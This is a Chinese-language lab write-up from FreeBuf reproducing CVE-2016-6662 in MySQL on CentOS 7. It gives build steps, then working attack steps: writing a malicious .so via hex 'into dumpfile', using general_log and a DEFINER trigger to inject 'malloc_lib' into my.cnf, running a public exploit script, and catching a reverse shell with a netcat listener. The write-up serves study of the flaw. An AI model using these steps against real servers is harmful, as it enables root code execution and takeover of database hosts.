CVE-2016-6662分析及Mysql相关技术探究 – 作者:xiaopan233

本文虽主要分析的是 CVE-2016-6662,但涉及层面不止 CVE-2016-6662 这个漏洞。

本文将一步步搭建复现靶机,并探讨与研究 mysql 的语句基础以及mysql语句的技巧和用法细节。

漏洞描述:

该漏洞允许攻击者注入恶意配置到 mysql配置文件 my.cnf中,导致可加载任意扩展库。当扩展库中存在恶意指令时即可getshell。

备注:

以下实验全程开启 SELinux

该漏洞在 SELinux 开启的状态下也可用哦~

1594817221.png!small

实验系统为 Centos7

漏洞范围:

mysql <= 5.7.15

mysql <= 5.6.33

mysql <= 5.5.52

环境搭建

需要在 mysql官网 中 自行下载 符合版本的 mysql。

由于在Centos7上安装时默认的 yum源头是设置的 mysql5.7.30。我们不能使用 yum源安装,需要手动下载 源码,然后编译安装:

第一步、下载 mysql5.7.10 源码

进入 mysql 各种版本下载页面:

https://downloads.mysql.com/archives/community/

选择 mysql5.7.10,本实验以 5.7.10 作为例子。

下载时选择 源码方式,系统为 常规Linux,下载含有 Boost Headers 的源码包:

1594817341.png!small

第二步、创建用户

在 Linux 中,mysql 不允许使用 root 账号 运行。必须添加一个低权用户运行 mysql服务

添加用户,并且不允许登录:

useradd -s /sbin/nologin mysql

第三步、解压 mysql 源码包

将下载好的 mysql 源码包放到你想放的路径。最好放到 /usr/local 下。

解压命令:

tar -xzvf xxxxxx.tar.gz

第四步、安装依赖包

由于源码编译 mysql 需要一些运行库、依赖包等东西。我们需要先自行下好:

yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison

第五步、编译安装

解压完成后,进入刚解压好的mysql 目录下,执行命令进行编译:

cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost

命令运行完后,再进行安装:

make && make install

安装完成后,应该会有一个新文件夹 /usr/local/mysql。这个就是安装好的mysql 的文件夹了。

第六步、配置 mysql 配置文件

默认一般是没有自动创建 /etc/my.cnf 文件的。需要我们自己拷贝一份模板文件过去。

my.cnf 模板文件在 mysql 目录(这里往后讲的 mysql 目录都是指 安装完成后创建的 /usr/local/mysql)下的 support-files 文件夹里。

模板文件名为:

/usr/local/mysql/support-files/my-default.cnf

将其拷贝为 /etc/my.cnf

cp my-default.cnf /etc/my.cnf

我们还需要创建一个文件夹,供数据库文件存放。我直接在 mysql 目录创建了一个名为 data 的文件夹。将其作为 数据库文件存放路径:

mkdir /usr/local/mysql/data/

为保证权限,可以给它 777:

chmod 777 /usr/local/mysql/data/

将整个 mysql 目录所属归为 mysql 用户:

chown mysql:mysql /usr/local/mysql

配置 mysql 配置文件。在配置文件模板的基础上,修改三个重点配置:

1594817544.png!small

basedir  设定为 mysql 目录

datadir  设定为 数据库文件存放目录

port       设定为 数据库监听端口

第七步、创建 mysql 服务

注意:一定要先配置好 mysql 配置文件 /etc/my.cnf,不然创建服务的时候会报错

在 mysql 目录下 的 bin 目录,执行命令:

./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

其中,user参数为 启动 mysql 的用户。我们使用我们刚刚创建好的低权限用户

basedirdatadir 必须和配置文件 /etc/my.cnf 的值一致。不然也会报错

执行完后,将会在 mysql目录下的 support-files 文件夹看到 mysql.server 文件。

我们将 mysql.server 文件拷贝为 /etc/init.d/mysqld

cp mysql.server /etc/init.d/mysqld

完成后,我们就可以使用命令:

/etc/init.d/mysqld restart

重启mysql 服务

原理介绍:

这个漏洞官方介绍网上很多。这里我就用大白话的方式来讲,并配合简单的示例来演示:

基本介绍

mysql 配置中在 [mysqld] 下有一个配置项。名为 malloc_lib。这个配置项可以加载任意位置的 so 文件,并执行。

然而执行 malloc_lib 指定的 so 文件的进程是 mysql_safe。这个进程是以 root 用户运行的:

1594817743.png!small

但是由于是配置文件指定的 so 文件,mysql服务需要 重启 才会重新加载配置文件。所以最后需要将 mysql 重启才能完成整个攻击流程。

简单演示

我们需要下载好 大神写好的 c文件:

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

修改攻击脚本:

1594817845.png!small

由于是演示,就用本机。 mysql 配置文件就写默认的配置文件 /etc/my.cnf:

1594817866.png!small

写入后保存退出。进行编译:

1594817880.png!small

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

将会生成一个 so文件:

1594817923.png!small

配置 /etc/my.cnf 文件,在 [mysqld] 下加上一行配置:

malloc_lib=/tmp/mysql_hookandroot_lib.so

1594817981.png!small

这里 malloc_lib 指定的就是刚刚生成好的恶意 so文件 路径

写入后保存退出。由于 poc 写的是 127.0.0.1,所以我们开启本机上对应的端口:

nc -lvp 6033

重启 mysql 服务:

/etc/init.d/mysqld restart

1594818040.png!small

有个小小的报错,不过不要紧,我们已经getshell了:

1594818065.png!small

后文的攻击大致流程就是这样子:

想办法修改配置文件,并加上一行配置,最后重启mysql服务

root权限 – 尝试手工

配置mysql环境

我们首先让 mysql 的 root 用户能够让外网登录,连入mysql,输入以下命令:

grant all privileges on *.* to 'root'@'%' identified by '123456';
flush privileges;

上传写入恶意 so文件

值得一提的是,mysql5.7.10 默认是开放 secure_file_priv 的

1594818155.png!small

关于写入恶意 so文件,我们可以通过 python 并配合 mysql 的 dumpfile 语句。将文件的十六进制码进行写入。

python 文件转十六进制码:

import binascii
f = open("mysql_hookandroot_lib.so", "rb")
a = f.read()
hexstr = binascii.b2a_hex(a)
f.close()
f = open("res.txt","w")
f.write(hexstr)
f.close()

得到一大串十六进制字符:

1594818219.png!small

构造 mysql 语句:

注意:mysql写入十六进制码时,需要在字符前加一个 0x

select 0x一大串字符 into dumpfile "/tmp/cvetest.so"

关键点 – my.cnf 追加/新增配置

这个漏洞能够利用成功的最关键的一步,就是通过mysql的命令,修改 / 新增 my.cnf 配置。使其能够成功读取到 malloc_lib 配置项。

这里有几个坑点,一一列举:

(1)配置文件路径

mysql 中除了默认的 /etc/my.cnf。还有别的配置文件路径。并且是顺序读取的。放一张官网图:

https://dev.mysql.com/doc/refman/5.7/en/option-files.html

1594818291.png!small

如图所示,不仅仅会读取 /etc/my.cnf文件,而且还会读取 $MYSQL_HOME/my.cnf,这个是指 mysql目录下的my.cnf。

为什么钟情于 mysql目录下的 my.cnf呢?因为 mysql目录,mysql用户99%的几率是可读写的。而别的目录可不可写就难说了。。

(2)outfile / dumpfile

正常情况下,谈到导出文件。第一反应就是使用 mysql 的语句:outfile、dumpfile。

可惜,这里有一个坑点。

我们来尝试用 mysql 的outfile 写一个 my.cnf 出来:

select "[mysqld]\nmalloc_lib=/tmp/cvetest.so" into outfile "/usr/local/mysql/my.cnf";

然后重启 mysql 的时候将会报错:

1594818405.png!small

这是因为,我们通过 outfile / dumpfile 写出来的文件,权限是 rw rw rw

1594818438.png!small

在 mysql 中有个安全策略:如果配置文件的权限可被 其他用户 写,则将会忽略这个配置文件。

而通过 outfile 写出来的文件权限是 rw rw rw。不符合 mysql 的安全策略规则。

所以我们得另辟蹊径。

(3)general_log与配置文件格式

在mysql中想要写入文件,还有一个语句:general_log

我们可以通过 general_log,写入 my.cnf 文件。

通过 general_log 写入的文件其他用户 无权限

首先,先将 general_log 文件路径设置为 mysql目录下my.cnf 文件。即:/usr/local/mysql/my.cnf

set global general_log_file = "/usr/local/mysql/my.cnf";

开启 general_log:

set global general_log=on;

写入配置:

MySQL [(none)]> select "
    "> [mysqld]
    "> malloc_lib=/tmp/cvetest.so
    "> #";

写入成功后,查看文件权限:

1594818633.png!small

查看内容,发现通过 general_log 新增写入文件的方式,会先写入 banner 信息,然后再写如具体日志。

1594818658.png!small

由于 my.cnf 文件不是以 [] 开头。mysql 读取的时候会报错。也无法成功getshell:

1594818674.png!small

(4)攻击条件

在测试的时候发现,general_log 对于已经存在的文件,将会追加。

而 my.cnf 中的配置。配置不正确 mysql 将会忽略配置。但是配置文件必须以 [] 开头

得出攻击条件:

当 mysql 有已经创建好的 my.cnf 文件时,才可通过 general_log 对该文件追加配置。

我们创建好一个 /usr/loca/mysql/my.cnf。简单写一个配置:

[mysqld]
secure_file_priv = NULL

将新的 my.cnf 所有权给 mysql:

chown mysql:mysql my.cnf

重启 mysql。然后我们像上面的(3)一样:修改 general_log 路径;开启 general_log;写入恶意配置项:

1594818796.png!small

查看配置文件,由于之前已经写好了配置文件,所以现在 my.cnf 是以 [] 开头的:

1594818823.png!small

尝试重启 mysql:

1594818866.png!small

成功 getshell:

1594818883.png!small

(5)/etc/my.cnf

在实际情况中,可能 mysql 的配置项就一个默认的 /etc/my.cnf。那我们可不可以通过 general_log 追加到 /etc/my.cnf 中呢?

答案是:看情况。。。

默认 /etc/my.cnf 的权限是 r rx r

1594818943.png!small

如果这种情况设置 general_log ,则会报错:

1594819012.png!small

mysql要写入的话,需要具有 写入 权限

现实中管理员错配权限也是经常发生的情况。

将 /etc/my.cnf 权限修改为 rw r r

chmod 644 /etc/my.cnf

 尝试写入:

1594819080.png!small

成功写入:

1594819101.png!small

重启后自然成功getshell:

1594819122.png!small

非root权限 – 使用exp

配置mysql环境

按照网上的说法,其实不需要root用户,只需要一个具有 select,insert,create,file 权限的用户即可。

我们来创建一个用户,及其对应的数据库:

连入mysql,执行下面语句:

create database cvetest;
grant file on *.* to 'cveuser'@'%' identified by '123456';
grant select,insert,create on cvetest.* to 'cveuser'@'%';
flush privileges;

将 /etc/my.cnf 权限设置为 600,所属用户为 mysql:

chmod 600 /etc/my.cnf
chown mysql:mysql /etc/my.cnf

配置exp

首先我们需要先下载大佬写好的攻击脚本:一个python文件和一个c文件

0ldSQL_MySQL_RCE_exploit.py:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

mysql_hookandroot_lib.c:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c

默认kali没有安装 mysql-connector,而大神写的脚本中用了这个库。

不安装的话将会报错:

ImportError: No module named mysql.connector

我们需要手动安装:

python -m pip install mysql-connector

由于python脚本中有些配置和我们实验环境不符,我们还需要手动修改一下:

(1)python – 将 trigger 触发器目录设置成实验靶机的 data 目录

首先需要知道靶机的 data 目录在哪。连入靶机的 mysql ,输入命令:

 show variables like "%data%";

1594819323.png!small

这里的 datadir 的值就是 mysql 服务的 data 目录路径。

修改 python 脚本:

1594819352.png!small

(2)python – 修改恶意so文件导出路径

虽然脚本里说 /tmp 重启会丢失文件, /var/lib/mysql mysql 也有权限写入

但是实际上用的时候可能会报错,没有权限写入。

个人认为最好把路径改回成 /tmp

1594819424.png!small

(3)c – 修反弹shell端口

编辑 c 文件,注意该文件需要和 python 文件放在同一目录下。

修改配置:

ATTACKERS_IP 设置为 攻击机ip

SHELL_PORT 设置为 攻击机接收反弹shell的端口

INJECTED_CONF 设置为 我们攻击时使用的 my.cnf 路径

1594819493.png!small

运行 exp

直接运行 exp:

pyhton 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost 10.11.123.249 -dbname cvetest -mycnf /etc/my.cnf

1594819539.png!small

mysql触发器

我们来看看这个 exp 是如何实现 非 root 用户 却能够修改 general_log 配置 的:

找到关键SQL语句:

1594819606.png!small

将其单独抽出来整理格式查看:

1594819621.png!small

这是一个触发器

但是这不是直接执行的,而是通过 mysql 的 dumpfile 语句写入到文件里的:

1594819668.png!small

为什么要用触发器呢?为什么要写入到文件中不直接执行呢?

带着这些疑问,我们来实践一下:

非 root 用户,无法直接 set global general_log

先说一个小细节:

select user() 和 select current_user() 的区别:

1594819710.png!small

select current_user() 查询出来的用户才是真正的存在数据库里的用户格式。

尝试设置 general_log:

1594819737.png!small

无权限。

触发器 – 以他人权限执行 SQL 语句

官网中对于触发器的格式描述:

1594819769.png!small

官网链接在此:

https://dev.mysql.com/doc/refman/5.7/en/create-trigger.html

大意是说, mysql的触发器可以通过设置 DEFINER 参数,以别的用户身份执行触发器的 SQL语句。

语句:

create definer='root'@'localhost' trigger test1   指定使用用户 'root'@'localhost'执行触                       
                                                  发器 test1
after INSERT                                      触发器在执行 INSERT 语句之后执行
on test1.t1                                       在哪个表上设置触发器
for each ROW                                      固定格式
BEGIN                                             固定格式,表示触发器要执行的SQL语句开始
select "1" into outfile "/tmp/1234567.txt";       触发器要执行的SQL语句
END                                               固定格式,表示触发器要执行的SQL语句结束

但是并不是任何用户都能使用 root 用户身份去执行的。

想要以 root 身份执行触发器,创建者必须具有 super 权限:

1594820183.png!small

备注:

delimiter | 表示暂时性设置 Mysql 每条语句的分隔符为 |,mysql语句分隔符默认是 ;。但是由于触发器中需要写入 sql语句,sql语句中有 ; 。会导致 sql语句提前结束。所以需要暂时性修改分隔符。

莫非到此就结束了?我们还有一计。

参考大神的脚本时,发现它将触发器写入到了一个文件中,这个文件路径也是我们用 exp 的时候需要修改的路径:

1594820235.png!small

莫非 mysql 创建了触发器之后,将会以文件形式保存下来?

动手实验一探究竟。

我们直接使用 root 用户来创建触发器:

语句:

跟上面那个一样

create definer='root'@'localhost' trigger test1
after INSERT
on test1.t1
for each ROW
BEGIN
select "1" into outfile "/tmp/1234567.txt";
end
|

创建成功:

1594820296.png!small

我们到 mysql 的数据库文件目录去看看:

如果不知道数据库文件目录在哪,在mysql终端中输入 :

show variables like "%datadir%";

默认情况下,数据库文件目录下,数据库文件夹名 和数据库名一致。我们找到我们的 test1数据库的目录,并 进入

注意:这里的数据库文件夹 mysql 用户都是可写的

1594820539.png!small

发现真的多了两个 TRN文件,有用的文件就是和数据表名对应的 TRN文件:

1594820566.png!small

查看内容:

1594820597.png!small

也就是说,mysql 的触发器文件就是保存在数据库文件目录下的数据库文件夹中。文件名与表名对应。

exp 原理

根据上面实验,我们可以整理出 exp 的原理和流程了:

(1)首先连入 mysql 。连入账户不需要 root 用户,只要能 select,insert,create,file 即可

(2)将 恶意 so库 写入到文件夹中。这里最好写到 /tmp 目录下。也可尝试写入 mysql 数据库目录下

(3)创建一个新表,为后面触发器做准备

(4)将触发器的配置写入到触发器文件中,触发器的配置为通过 general_log 对 my.cnf 文件进行配置追加

(5)对表进行操作,使其执行触发器

Referer:

https://paper.seebug.org/46/

 

来源:freebuf.com 2020-07-15 21:48:29 by: xiaopan233

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论